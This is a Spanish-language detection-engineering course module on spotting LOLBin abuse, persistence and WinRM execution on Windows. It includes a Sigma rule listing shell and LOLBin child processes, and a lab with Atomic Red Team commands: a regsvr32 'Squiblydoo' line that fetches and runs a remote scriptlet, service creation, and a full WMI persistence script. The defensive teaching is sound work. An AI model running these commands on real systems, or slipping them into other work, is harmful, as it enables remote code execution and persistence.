WinRM, PsExec, WMI remoto y RDP con ejecución de comandos son, todos ellos, mecanismos legítimos de administración que un atacante con credenciales válidas usa exactamente igual que un administrador. Aquí se trata solo la parte de ejecución que queda una vez que la conexión remota ya existe; cómo se detecta el propio movimiento (los tipos de inicio de sesión, los eventos Kerberos, el uso de credenciales robadas) es contenido del módulo 10 de este curso.

Cuando un comando llega por WinRM, en el equipo destino lo ejecuta un proceso llamado wsmprovhost.exe (el host de proveedor WS-Management), y ese proceso pasa a ser el padre de lo que sea que se haya pedido ejecutar. Una regla puede vigilar justo esa relación padre-hijo:

title: Suspicious Processes Spawned by WinRM
id: 5cc2cda8-f261-4d88-a2de-e9e193c86716
status: test
description: Detects suspicious processes including shells spawnd from WinRM host process
author: Andreas Hunkeler (@Karneades), Markus Neis
date: 2021-05-20
modified: 2022-07-14
tags:
    - attack.t1190
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'wsmprovhost.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'sh.exe'
            - 'bash.exe'
            - 'powershell.exe'
            - 'pwsh.exe'
            - 'wsl.exe'
            - 'schtasks.exe'
            - 'certutil.exe'
            - 'whoami.exe'
            - 'bitsadmin.exe'
    condition: selection
falsepositives:
    - Legitimate WinRM usage
level: high

(Regla original de SigmaHQ, ficha proc_creation_win_winrm_susp_child_process.yml. El propio fichero declara su único falso positivo esperable en una sola línea: «uso legítimo de WinRM», sin matices.) Ese es el problema práctico de esta familia de reglas: en cualquier organización donde los administradores usan WinRM o PsExec a diario, la lista de binarios «sospechosos» (cmd, powershell, whoami, certutil) es también la lista de lo que un administrador ejecuta en remoto varias veces al día. Sin excepciones por cuenta, horario y host de origen conocidos, la regla no separa nada; solo confirma que WinRM está en uso.

Resumen: comportamiento, telemetría y dónde se rompe cada regla

Comportamiento Telemetría necesaria Observable principal Fragilidad típica de la regla
LOLBin con argumentos anómalos (rundll32, regsvr32, mshta, certutil) 4688 con línea de comandos completa o Sysmon evento 1 Combinación de flags y URL/ruta que no aparece en el uso administrativo normal del binario Depende de tener la línea de comandos completa; se evade renombrando el binario si la regla no comprueba también OriginalFileName
Proceso hijo inesperado de Office Sysmon evento 1 o 4688, con proceso padre y ruta del hijo Parent/child fuera de la lista reducida de comportamiento normal de Office Requiere mantener la lista de binarios e incluir OriginalFileName para sobrevivir al renombrado
Creación de tarea programada 4698 (Security) o 106 (TaskScheduler Operational) TaskContent con rutas o intérpretes sospechosos, o proceso solicitante inusual Alto volumen de tareas legítimas (instaladores, GPO, backup); exige exclusión por inventario de software
Servicio nuevo con binario sospechoso 7045 (System) y 4697 (Security) ImagePath/Service File Name con flags de PowerShell oculto, ruta temporal o ADMIN$ Se evade con un binario compilado propio sin flags reconocibles en la línea de comandos
Persistencia en registro (Run, Winlogon, IFEO) Sysmon eventos 12, 13 y 14 Escritura en claves ASEP conocidas fuera de la lista de software legítimo Lista de exclusiones larga y cambiante; cada instalador nuevo genera ruido hasta que se documenta
Suscripción WMI permanente Sysmon eventos 19, 20 y 21 Filtro, consumidor y enlace creados en una ventana de tiempo corta La regla base dispara por evento individual, no confirma la tríada; exige correlación aparte
PowerShell ofuscado Evento 4104, Script Block Logging Estructura de código generada por una herramienta de ofuscación conocida Cadenas literales se rompen por fragmentación del propio log o por cambios triviales en los valores generados
Ejecución vía WinRM/servicios remotos Sysmon evento 1, con proceso padre wsmprovhost.exe u otro host de gestión remota Proceso hijo de shell o LOLBin bajo un host de administración remota Indistinguible de administración legítima sin contexto de cuenta, horario y origen

Ejercicio de laboratorio

El objetivo es reproducir tres técnicas de este módulo con Atomic Red Team (licencia MIT), comprobar en tu telemetría qué llega y qué no, y anotar, para cada una, qué falsos positivos previsibles produciría en un entorno con administradores que usan esas mismas herramientas a diario. Necesitas una máquina Windows de laboratorio con permisos de administrador, Sysmon instalado con al menos los eventos 1, 7, 12, 13, 14, 19, 20 y 21 activos (siguiendo la sintaxis del módulo de Sysmon), y la auditoría avanzada de Object Access y Process Creation activada como en el módulo 3.

  1. Ejecuta la variante local del «Squiblydoo» de regsvr32, tomada del propio repositorio de Atomic Red Team para T1218.010:
    C:Windowssystem32regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct scrobj.dll

    Localiza el evento 1 de Sysmon o el 4688 correspondiente y escribe una condición, en formato Sigma o en el lenguaje de tu SIEM, que capture scrobj.dll junto con /i: en la línea de comandos de regsvr32.exe. Anota qué software de tu entorno (instaladores de terceros, principalmente) registra DLLs de forma legítima y podría cruzarse con esa condición.

  2. Crea un servicio nuevo con el Test #2 de Atomic Red Team para T1543.003:
    sc.exe create AtomicTestService_CMD binPath= "C:AtomicRedTeamatomicsT1543.003binAtomicService.exe" start=auto type=Own
    sc.exe start AtomicTestService_CMD

    Comprueba que llegan el 7045 en System y el 4697 en Security (si tienes la subcategoría activa) con el mismo nombre de servicio, y compara los campos que trae cada uno. Adapta la regla de servicio sospechoso de este módulo a tu entorno: decide qué rutas de instalación de software legítimo hay que excluir del ImagePath antes de poder desplegarla sin que dispare con cada agente de gestión que se instala.

  3. Crea una suscripción WMI permanente con el Test #1 de Atomic Red Team para T1546.003 (ejecútalo en PowerShell con privilegios de administrador):
    $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                    EventNameSpace='rootCimV2';
                    QueryLanguage="WQL";
                    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
    $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
    
    $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                    CommandLineTemplate="$($Env:SystemRoot)System32notepad.exe";}
    $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
    
    $FilterToConsumerArgs = @{
    Filter = [Ref] $Filter;
    Consumer = [Ref] $Consumer;
    }
    $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

    Confirma que ves los tres eventos de Sysmon (19, 20 y 21) con el mismo nombre de filtro y de consumidor. Escribe la lógica de correlación (por nombre compartido y por ventana de tiempo) que confirmaría, con los tres eventos juntos, que se completó una cadena de persistencia real, en vez de fiarte de la regla base que dispara con cualquiera de los tres por separado.

  4. Limpia el laboratorio al terminar: borra el servicio (sc.exe delete AtomicTestService_CMD) y la suscripción WMI (Remove-CimInstance sobre las tres instancias creadas), y confirma con Get-Service y con una consulta al repositorio WMI que ya no queda rastro.
  5. Para cada técnica, escribe dos o tres frases con el falso positivo previsible en tu organización: qué herramienta de gestión legítima registra DLLs, instala servicios o crea suscripciones WMI a diario, y qué campo (cuenta, ruta, firma del binario) la distingue del caso malicioso sin descartar la técnica entera.

Preguntas frecuentes

¿Basta con vigilar que se ejecuten rundll32.exe, regsvr32.exe o certutil.exe para detectar su abuso?

No. Los tres son binarios que Windows necesita para funcionar y que se ejecutan constantemente de forma legítima (instaladores, gestión de certificados, paneles de control). Una regla que dispare solo con la ejecución del binario, sin mirar argumentos ni proceso padre, genera tantas alertas que se acaba ignorando. La señal está en la combinación de flags, rutas o URLs que se sale del catálogo de uso administrativo normal, como se ve en las reglas de este módulo.

¿Detectar la ejecución de schtasks.exe cubre toda la creación de tareas programadas maliciosas?

No cubre la creación de tareas que no pasan por ese binario, por ejemplo vía PowerShell con el módulo ScheduledTasks o vía una llamada directa a la API COM del Programador de tareas. El evento 4698 del canal Security lo genera el propio servicio de Programador de tareas sin importar qué cliente pidió la operación, así que una regla sobre ese evento sigue funcionando cuando la regla basada en la línea de comandos de schtasks.exe deja de ver nada.

¿Por qué una regla de PowerShell basada en cadenas literales de una herramienta de ofuscación deja de funcionar con solo cambiar un separador?

Porque la regla ancla su detección en un ejemplo concreto de salida, y una herramienta de ofuscación genera esa salida con valores que cambian en cada ejecución (índices numéricos, nombres de variable, orden de concatenación). El enfoque que aguanta es mirar el código fuente de la herramienta y anclar la regla en la parte de la sintaxis que no cambia entre ejecuciones, normalmente con una expresión regular, como hace la propia regla de Invoke-Obfuscation citada en este módulo.

¿Por qué la persistencia por suscripción WMI es tan difícil de encontrar sin telemetría dedicada?

Porque no deja proceso corriendo de forma continua ni entrada en ninguna carpeta de inicio habitual: vive dentro del repositorio CIM del propio sistema operativo, un almacén que un analista no revisa por costumbre salvo que lo consulte a propósito con herramientas como Autoruns o con Get-CimInstance. Sin los eventos 19, 20 y 21 de Sysmon, o sin una revisión manual y periódica del repositorio WMI, esta persistencia puede pasar desapercibida indefinidamente.

¿Qué diferencia hay entre lo que se detecta aquí sobre WinRM y servicios remotos, y el movimiento lateral del módulo 10?

Aquí solo se mira qué se ejecuta una vez que la conexión remota ya existe: el proceso hijo bajo wsmprovhost.exe o el binario que registra un servicio copiado a un recurso administrativo. El módulo 10 cubre cómo se detecta el propio desplazamiento entre equipos: qué tipo de inicio de sesión se usó, con qué credenciales, y por qué esa secuencia entre varios hosts confirma movimiento lateral y no solo administración remota puntual.

¿Hace falta memorizar el catálogo LOLBAS completo para trabajar en un SOC?

No. El catálogo cambia con cada contribución aceptada y ya supera con holgura el centenar de entradas, así que memorizarlo no es el objetivo. Lo que aporta valor a diario es saber consultarlo rápido cuando aparece un binario desconocido en una alerta, y entender el patrón general (binario firmado, funcionalidad no prevista, argumento o padre anómalo) para reconocer casos que el catálogo todavía no documenta. Para quien viene del lado ofensivo y quiere ver este mismo terreno desde el ángulo de explotación web, el curso de Hacking Web cubre esa otra mitad.